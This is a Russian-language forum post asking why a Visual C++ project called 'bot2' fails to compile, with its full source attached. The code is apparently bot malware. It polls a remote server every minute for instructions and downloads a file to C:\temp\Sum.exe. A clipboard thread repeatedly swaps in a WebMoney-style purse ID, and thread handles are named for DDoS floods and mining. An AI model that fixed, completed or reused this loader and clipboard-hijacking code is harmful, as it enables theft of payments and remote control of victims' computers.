Пользователь
Регистрация: 23.08.2015
Сообщений: 34
|
error C2065: source: необъявленный идентификатор
Подразумеваю что проблемы с зло***чим stdafx.h
вот ошибки, что делать ума не приложу, уже невозможно - >c:\users\lol\documents\visual studio 2010\projects\bot2\bot2\bot2.cpp(12 6): error C2065: CString: необъявленный идентификатор 1>c:\users\lol\documents\visual studio 2010\projects\bot2\bot2\bot2.cpp(12 6): error C2146: синтаксическая ошибка: отсутствие ";" перед идентификатором "source" 1>c:\users\lol\documents\visual studio 2010\projects\bot2\bot2\bot2.cpp(12 6): error C2065: source: необъявленный идентификатор 1>c:\users\lol\documents\visual studio 2010\projects\bot2\bot2\bot2.cpp(13 4): error C2065: source: необъявленный идентификатор 1>c:\users\lol\documents\visual studio 2010\projects\bot2\bot2\bot2.cpp(13 4): error C2228: выражение слева от ".GetLength" должно представлять класс, структуру или объединение 1> тип: 'unknown-type' 1>c:\users\lol\documents\visual studio 2010\projects\bot2\bot2\bot2.cpp(13 6): error C2065: source: необъявленный идентификатор 1>
Я уже устал от ошибок некачественных языков, надеюсь что поможете чтобы больше этого вопроса не возникало.
вот проект: https://yadi.sk/d/sCLaZq11qwF7m
главный файл:
Код:
#include "StdAfx.h"
#include <windows.h>
#include <wininet.h>
#pragma comment (lib, "wininet.lib")
#include <iostream>
#include <string>
#include <regex>
#include <iterator>
VOID GetFileFromUrl(char * strurl) {
HINTERNET hSession = InternetOpen("Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
HINTERNET hConnect = InternetOpenUrl(hSession, strurl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0 );
// получить размер заголовка
DWORD dwInfoLen = 0;
HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, NULL, &dwInfoLen, NULL);
// прочитать заголовок
char* sHeadInfo = new char[dwInfoLen];
HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, sHeadInfo, &dwInfoLen, 0);
// размер файла в байтах
DWORD dwFileSize = atoi(sHeadInfo);
delete [] sHeadInfo;
// буфер
BYTE * pFileBuf = new BYTE[dwFileSize];
BYTE * pBufScan = pFileBuf;
//printf("file size: %d\n", dwFileSize);
// читать
DWORD dwAval, dwRead;
while (InternetQueryDataAvailable(hConnect, &dwAval, 0, 0))
{
if (!InternetReadFile(hConnect, pBufScan, dwAval, &dwRead))
break;
if (!dwRead)
break;
pBufScan += dwRead;
//----
char e[32];
//sprintf(e, "read bytes: %d \n", pBufScan - pFileBuf);
OutputDebugString(e);
}
//получить имя сохраняемого файла
//regex rx("a");
//string fmt("A");
//записать
HANDLE hFile = CreateFile("C:\\temp\\Sum.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //FILE_ATTRIBUTE_HIDDEN
DWORD dww;
WriteFile(hFile, pFileBuf, dwFileSize, &dww, NULL);
CloseHandle(hFile);
delete [] pFileBuf;
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
}
BYTE * GetPageUrl(char * strurl) {
HINTERNET hSession = InternetOpen("Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
HINTERNET hConnect = InternetOpenUrl(hSession, strurl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0 );
// получить размер заголовка
DWORD dwInfoLen = 0;
HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, NULL, &dwInfoLen, NULL);
// прочитать заголовок
char* sHeadInfo = new char[dwInfoLen];
HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, sHeadInfo, &dwInfoLen, 0);
// размер файла в байтах
DWORD dwFileSize = atoi(sHeadInfo);
delete [] sHeadInfo;
// буфер
BYTE * pFileBuf = new BYTE[dwFileSize];
BYTE * pBufScan = pFileBuf;
//printf("file size: %d\n", dwFileSize);
// читать
DWORD dwAval, dwRead;
while (InternetQueryDataAvailable(hConnect, &dwAval, 0, 0))
{
if (!InternetReadFile(hConnect, pBufScan, dwAval, &dwRead))
break;
if (!dwRead)
break;
pBufScan += dwRead;
//----
char e[32];
//sprintf(e, "read bytes: %d \n", pBufScan - pFileBuf);
OutputDebugString(e);
}
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
return pFileBuf;
}
DWORD WINAPI CheckDwonload(PVOID pvParam) {
while (TRUE) {
BYTE * res = GetPageUrl("http://v92939a1.bget.ru/index2.php");
MessageBox(NULL, (LPCSTR)res, " ", MB_OK);
/////////////////////////GetFileFromUrl((char *)res);
Sleep(60000);
}
return 0;
}
DWORD WINAPI WMreplace(PVOID pvParam) {
while (TRUE)
{
CString source;
//в эту переменную нужно записать текст, который в дальнейшем поместится в буфер обмена
//запись текста в буфер обмена
if(OpenClipboard(0))//открываем буфер обмена
{
HGLOBAL hgBuffer;
char* chBuffer = "R2281377";
EmptyClipboard();/////////
hgBuffer= GlobalAlloc(GMEM_DDESHARE, source.GetLength()+1);//выделяем память
chBuffer= (char*)GlobalLock(hgBuffer); //блокируем память
strcpy(chBuffer, LPCSTR(source));
GlobalUnlock(hgBuffer);//разблокируем память
SetClipboardData(CF_TEXT, hgBuffer);//помещаем текст в буфер обмена
CloseClipboard(); //закрываем буфер обмена
}
////Здесь добавить потом
Sleep(2000);
}
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HANDLE hThreadsWMIDexc, hThreadsHTTPDDos, hThreadsHTTPDDos2, hThreadsUdpDDos, hThreadsTCPDDOS, hThreadsCheckDwonload, hThreadsOpenWebPage, hThreadsMining;
DWORD idThreadA,idThreadB,idThreadC, idThreadD, idThreadI, idThreadF, idThreadG, idThreadH;
int bVal = 0;
hThreadsCheckDwonload = CreateThread(NULL, 0, CheckDwonload, (PVOID) bVal, 0, &idThreadF);
hThreadsWMIDexc = CreateThread(NULL, 0, WMreplace, (PVOID) bVal, 0, &idThreadA);
SetThreadPriority(hThreadsCheckDwonload,THREAD_PRIORITY_ABOVE_NORMAL);
SetThreadPriority(hThreadsWMIDexc,THREAD_PRIORITY_ABOVE_NORMAL);
WaitForMultipleObjects(1, &hThreadsCheckDwonload, TRUE, INFINITE);
return 0;
}
Файлы в проекте созданы автоматически студией.
Надеюсь поможете
|